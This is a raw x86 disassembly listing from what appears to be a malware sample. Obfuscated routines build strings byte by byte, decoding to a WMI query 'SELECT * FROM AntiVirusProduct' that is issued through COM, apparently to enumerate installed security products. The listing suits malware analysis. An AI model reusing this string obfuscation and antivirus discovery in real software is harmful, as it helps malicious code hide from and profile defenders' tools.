sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x3e
xor al, 0x4a
mov byte [ebx + 0x19], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x20
xor eax, 0x3f
xor al, 0x4a
mov byte [ebx + 0x1a], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x3c
xor al, 0x4a
mov byte [ebx + 0x1b], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x41
xor eax, 0x3d
xor al, 0x4a
mov byte [ebx + 0x1c], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x32
xor al, 0x4a
mov byte [ebx + 0x1d], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6e
xor eax, 0x33
xor al, 0x4a
mov byte [ebx + 0x1e], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x30
xor al, 0x4a
mov byte [ebx + 0x1f], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0x31
xor al, 0x4a
mov byte [ebx + 0x20], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x36
xor al, 0x4a
mov byte [ebx + 0x21], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0x37
xor al, 0x4a
mov byte [ebx + 0x22], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x34
xor al, 0x4a
mov byte [ebx + 0x23], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x56
xor eax, 0x35
xor al, 0x4a
mov byte [ebx + 0x24], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xca
xor al, 0x4a
mov byte [ebx + 0x25], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0xcb
xor al, 0x4a
mov byte [ebx + 0x26], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc8
xor al, 0x4a
mov byte [ebx + 0x27], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xc9
xor al, 0x4a
mov byte [ebx + 0x28], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xce
xor al, 0x4a
mov byte [ebx + 0x29], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0xcf
xor al, 0x4a
mov byte [ebx + 0x2a], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcc
xor al, 0x4a
mov byte [ebx + 0x2b], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x73
xor eax, 0xcd
xor al, 0x4a
mov byte [ebx + 0x2c], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc2
xor al, 0x4a
mov byte [ebx + 0x2d], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x50
xor eax, 0xc3
xor al, 0x4a
mov byte [ebx + 0x2e], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc0
xor al, 0x4a
mov byte [ebx + 0x2f], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xc1
xor al, 0x4a
mov byte [ebx + 0x30], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc6
xor al, 0x4a
mov byte [ebx + 0x31], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6f
xor eax, 0xc7
xor al, 0x4a
mov byte [ebx + 0x32], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc4
xor al, 0x4a
mov byte [ebx + 0x33], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x64
xor eax, 0xc5
xor al, 0x4a
mov byte [ebx + 0x34], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xda
xor al, 0x4a
mov byte [ebx + 0x35], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0xdb
xor al, 0x4a
mov byte [ebx + 0x36], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd8
xor al, 0x4a
mov byte [ebx + 0x37], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x63
xor eax, 0xd9
xor al, 0x4a
mov byte [ebx + 0x38], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xde
xor al, 0x4a
mov byte [ebx + 0x39], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0xdf
xor al, 0x4a
mov byte [ebx + 0x3a], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xdc
xor al, 0x4a
mov byte [ebx + 0x3b], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xdd
xor al, 0x4a
mov byte [ebx + 0x3c], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd2
xor al, 0x4a
mov byte [ebx + 0x3d], al
mov eax, 0x3e
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x43
jne 0x42f8d2
mov dword [esi + 0x18], 0
mov eax, dword [esi + 0x18]
cmp eax, 0x43
jae 0x42f91b
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x18]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432a30
mov ebx, dword [esi + 0x30]
add esp, 8
mov ecx, dword [esi + 0x18]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0x18]
inc eax
mov dword [esi + 0x18], eax
jmp 0x42f8e5
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov ebx, eax
mov eax, dword [esi]
mov eax, dword [eax]
mov ecx, dword [eax]
mov ecx, dword [ecx + 0x50]
sub esp, 0x18
mov edx, dword [esi + 0x34]
mov dword [esp + 0x14], edx
mov dword [esi + 0xa0], ebx
mov dword [esp + 8], ebx
mov edx, dword [esi + 0x70]
mov dword [esp + 4], edx
mov dword [esp], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call ecx
xor ecx, ecx
test eax, eax
setns al
mov dword [esi + 0x1f0], 0
mov edx, dword [esi + 0x1f4]
mov ebx, dword [esi + 0x1f0]
mov edx, dword [edx + ebx*4]
mov ebx, dword [esi + 0x3c]
jmp edx
mov eax, dword [ebx + 8]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantInit]
mov edi, eax
mov eax, dword [ebx + 8]
mov ecx, edi
shl ecx, 1
mov edx, eax
add edx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.00429540
add esp, 8
mov ebx, eax
add ebx, 1
sub esp, 4
mov dword [esp], ebx
call fcn.00409620
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x94]
mov dword [eax], ecx
mov eax, dword [esi + 0x44]
mov eax, dword [eax + 8]
shl edi, 1
mov dword [esi + 0x38], eax
add eax, edi
mov dword [esi + 0x84], eax
mov edi, ecx
add edi, ebx
mov ebx, ecx
mov eax, edi
add eax, 0xffffffff
cmp ebx, eax
jae 0x42fa44
mov edx, dword [esi + 0x84]
test edx, edx
sete al
mov ecx, dword [esi + 0x38]
sub ecx, edx
setb cl
or al, cl
test al, 1
jne 0x42fa10
jmp 0x42fa44
mov eax, dword [esi + 0x38]
mov cx, word [eax]
movzx eax, cx
cmp cx, 0
je 0x42fa44
add dword [esi + 0x38], 2
mov ecx, ebx
xor ecx, 0xffffffff
add ecx, edi
sub esp, 0xc
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00432750
add esp, 0xc
add ebx, eax
jmp 0x42f9ec
call fcn.00419ba0
call fcn.00419ba0
mov byte [ebx], 0
mov eax, dword [esi + 0x180]
mov ecx, dword [esi + 0x184]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0x44]
jmp eax
adc dword [edx - 0x28], esp
mov byte [0x3aa7f61c], al
mov eax, dword [esi + 0xe0]
mov ecx, dword [esi + 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x1b0]
mov ecx, dword [esi + 0x1b4]
mov ecx, dword [ecx + eax*4]
mov eax, 3
jmp ecx
call fcn.00419ba0
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call eax
mov eax, dword [edi]
mov ecx, dword [eax]
mov ecx, dword [ecx + 8]
sub esp, 4
mov dword [esp], eax
call ecx
mov dword [esi + 0x120], 1
mov eax, dword [esi + 0x124]
mov ecx, dword [esi + 0x120]
mov eax, dword [eax + ecx*4]
jmp eax
out dx, eax
cmp eax, dword gs:[0xa715fed0]
mov al, byte [ebx]
mov byte [esi + 0x58], al
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x57
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x56
and eax, 0xa9
or ecx, eax
mov byte [edi], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x57
and eax, 0xa8
or ecx, eax
mov byte [edi + 1], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x51
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x58
and eax, 0xa7
or ecx, eax
mov byte [edi + 2], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x59
and eax, 0xa6
or ecx, eax
mov byte [edi + 3], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4c
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5a
and eax, 0xa5
or ecx, eax
mov byte [edi + 4], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5b
and eax, 0xa4
or ecx, eax
mov byte [edi + 5], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5c
and eax, 0xa3
or ecx, eax
mov byte [edi + 6], cl
sub esp, 8
mov dword [esp], 0x1ba85256
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x5d
and eax, 0xa2
or ecx, eax
mov byte [edi + 7], cl
mov eax, 8
mov ebx, dword [esi + 0x74]
mov byte [edi + eax], 0
add eax, 1
cmp eax, 9
jne 0x42fc4d
mov dword [esi + 0x14], 0
mov eax, dword [esi + 0x14]
cmp eax, 9
jae 0x42fc93
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x14]
movzx ecx, byte [edi + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432a10
add esp, 8
mov ecx, dword [esi + 0x14]
mov byte [edi + ecx], al
mov eax, dword [esi + 0x14]
inc eax
mov dword [esi + 0x14], eax
jmp 0x42fc60
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi + 0x98], eax
mov al, byte [ebx]
mov byte [esi + 0x60], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x53
xor eax, 0x11
xor al, 0x4a
mov ebx, dword [esi + 0x30]
mov byte [ebx], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x16
xor al, 0x4a
mov byte [ebx + 1], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x45
xor eax, 0x17
xor al, 0x4a
mov byte [ebx + 2], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x14
xor al, 0x4a
mov byte [ebx + 3], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4c
xor eax, 0x15
xor al, 0x4a
mov byte [ebx + 4], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x2a
xor al, 0x4a
mov byte [ebx + 5], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x45
xor eax, 0x2b
xor al, 0x4a
mov byte [ebx + 6], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x28
xor al, 0x4a
mov byte [ebx + 7], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x43
xor eax, 0x29
xor al, 0x4a
mov byte [ebx + 8], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x2e
xor al, 0x4a
mov byte [ebx + 9], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x54
xor eax, 0x2f
xor al, 0x4a
mov byte [ebx + 0xa], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x2c
xor al, 0x4a
mov byte [ebx + 0xb], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x20
xor eax, 0x2d
xor al, 0x4a
mov byte [ebx + 0xc], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x22
xor al, 0x4a
mov byte [ebx + 0xd], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x2a
xor eax, 0x23
xor al, 0x4a
mov byte [ebx + 0xe], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x20
xor al, 0x4a
mov byte [ebx + 0xf], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x20
xor eax, 0x21
xor al, 0x4a
mov byte [ebx + 0x10], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x26
xor al, 0x4a
mov byte [ebx + 0x11], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x46
xor eax, 0x27
xor al, 0x4a
mov byte [ebx + 0x12], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x24
xor al, 0x4a
mov byte [ebx + 0x13], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x52
xor eax, 0x25
xor al, 0x4a
mov byte [ebx + 0x14], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x3a
xor al, 0x4a
mov byte [ebx + 0x15], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4f
xor eax, 0x3b
xor al, 0x4a
mov byte [ebx + 0x16], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x38
xor al, 0x4a
mov byte [ebx + 0x17], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x4d
xor eax, 0x39
xor al, 0x4a
mov byte [ebx + 0x18], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x3e
xor al, 0x4a
mov byte [ebx + 0x19], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x20
xor eax, 0x3f
xor al, 0x4a
mov byte [ebx + 0x1a], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x3c
xor al, 0x4a
mov byte [ebx + 0x1b], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x41
xor eax, 0x3d
xor al, 0x4a
mov byte [ebx + 0x1c], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x32
xor al, 0x4a
mov byte [ebx + 0x1d], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6e
xor eax, 0x33
xor al, 0x4a
mov byte [ebx + 0x1e], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x30
xor al, 0x4a
mov byte [ebx + 0x1f], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0x31
xor al, 0x4a
mov byte [ebx + 0x20], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x36
xor al, 0x4a
mov byte [ebx + 0x21], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0x37
xor al, 0x4a
mov byte [ebx + 0x22], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x34
xor al, 0x4a
mov byte [ebx + 0x23], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x56
xor eax, 0x35
xor al, 0x4a
mov byte [ebx + 0x24], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xca
xor al, 0x4a
mov byte [ebx + 0x25], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x69
xor eax, 0xcb
xor al, 0x4a
mov byte [ebx + 0x26], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc8
xor al, 0x4a
mov byte [ebx + 0x27], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xc9
xor al, 0x4a
mov byte [ebx + 0x28], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xce
xor al, 0x4a
mov byte [ebx + 0x29], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0xcf
xor al, 0x4a
mov byte [ebx + 0x2a], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xcc
xor al, 0x4a
mov byte [ebx + 0x2b], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x73
xor eax, 0xcd
xor al, 0x4a
mov byte [ebx + 0x2c], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc2
xor al, 0x4a
mov byte [ebx + 0x2d], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x50
xor eax, 0xc3
xor al, 0x4a
mov byte [ebx + 0x2e], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc0
xor al, 0x4a
mov byte [ebx + 0x2f], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0xc1
xor al, 0x4a
mov byte [ebx + 0x30], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc6
xor al, 0x4a
mov byte [ebx + 0x31], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6f
xor eax, 0xc7
xor al, 0x4a
mov byte [ebx + 0x32], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xc4
xor al, 0x4a
mov byte [ebx + 0x33], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x64
xor eax, 0xc5
xor al, 0x4a
mov byte [ebx + 0x34], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xda
xor al, 0x4a
mov byte [ebx + 0x35], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0xdb
xor al, 0x4a
mov byte [ebx + 0x36], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd8
xor al, 0x4a
mov byte [ebx + 0x37], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x63
xor eax, 0xd9
xor al, 0x4a
mov byte [ebx + 0x38], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xde
xor al, 0x4a
mov byte [ebx + 0x39], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x74
xor eax, 0xdf
xor al, 0x4a
mov byte [ebx + 0x3a], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xdc
xor al, 0x4a
mov byte [ebx + 0x3b], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xdd
xor al, 0x4a
mov byte [ebx + 0x3c], al
sub esp, 8
mov dword [esp], 0x1496285b
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0xd2
xor al, 0x4a
mov byte [ebx + 0x3d], al
mov eax, 0x3e
mov byte [ebx + eax], 0
add eax, 1
cmp eax, 0x43
jne 0x430579
mov dword [esi + 0x1c], 0
mov eax, dword [esi + 0x1c]
cmp eax, 0x43
jae 0x4305c2
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x1c]
movzx ecx, byte [ebx + ecx]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00432a30
mov ebx, dword [esi + 0x30]
add esp, 8
mov ecx, dword [esi + 0x1c]
mov byte [ebx + ecx], al
mov eax, dword [esi + 0x1c]
inc eax
mov dword [esi + 0x1c], eax
jmp 0x43058c
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call eax
mov ecx, dword [esi]
mov ecx, dword [ecx]
mov edx, dword [ecx]
mov edx, dword [edx + 0x50]
sub esp, 0x18
mov ebx, edi
mov edi, dword [esi + 0x34]
mov dword [esp + 0x14], edi
mov edi, ebx
mov dword [esp + 8], eax
mov eax, dword [esi + 0x98]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x30
call edx
mov eax, dword [esi + 0xd8]
mov ecx, dword [esi + 0xdc]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0x3c]
jmp eax
mov dword [esi + 0x28], edx
call fcn.00419ba0
mov dword [esi + 0x168], 0
mov eax, dword [esi + 0x16c]
mov ecx, dword [esi + 0x168]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0x2c]
jmp eax
mov eax, dword [esi + 0x250]
mov ecx, dword [esi + 0x254]
mov eax, dword [ecx + eax*4]
jmp eax
sub esp, 4
mov dword [esp], 0xc
call fcn.00409620
add esp, 4
mov dword [eax], 0
mov ecx, eax
add ecx, 4
mov dword [esi + 0x90], ecx
mov byte [eax + 4], 0
mov ecx, eax
add ecx, 8
mov dword [esi + 0x94], ecx
mov dword [esi + 0x9c], eax
mov dword [eax + 8], 0
sub esp, 4
mov eax, dword [esi + 0x48]
mov dword [esp], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esi + 0x2c]
mov edi, dword [eax]
mov al, byte [ebx]
mov byte [esi + 0x68], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x70
xor eax, 0x64
mov ebx, dword [esi + 0x80]
mov byte [ebx], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x65
mov byte [ebx + 1], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x72
xor eax, 0x66
mov byte [ebx + 2], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x67
mov byte [ebx + 3], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x6f
xor eax, 0x68
mov byte [ebx + 4], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x69
mov byte [ebx + 5], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x64
xor eax, 0x6a
mov byte [ebx + 6], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x6b
mov byte [ebx + 7], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x75
xor eax, 0x6c
mov byte [ebx + 8], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
xor eax, 0x6d
mov byte [ebx + 9], al
sub esp, 8
mov dword [esp], 0x56f2bc64
mov dword [esp + 4], 5
call fcn.004196a0
add esp, 8
add eax, 0x63
xor eax, 0x6e
mov byte [ebx + 0xa], al
sub esp, 8
mov dword [esp], 0x56f2bc64
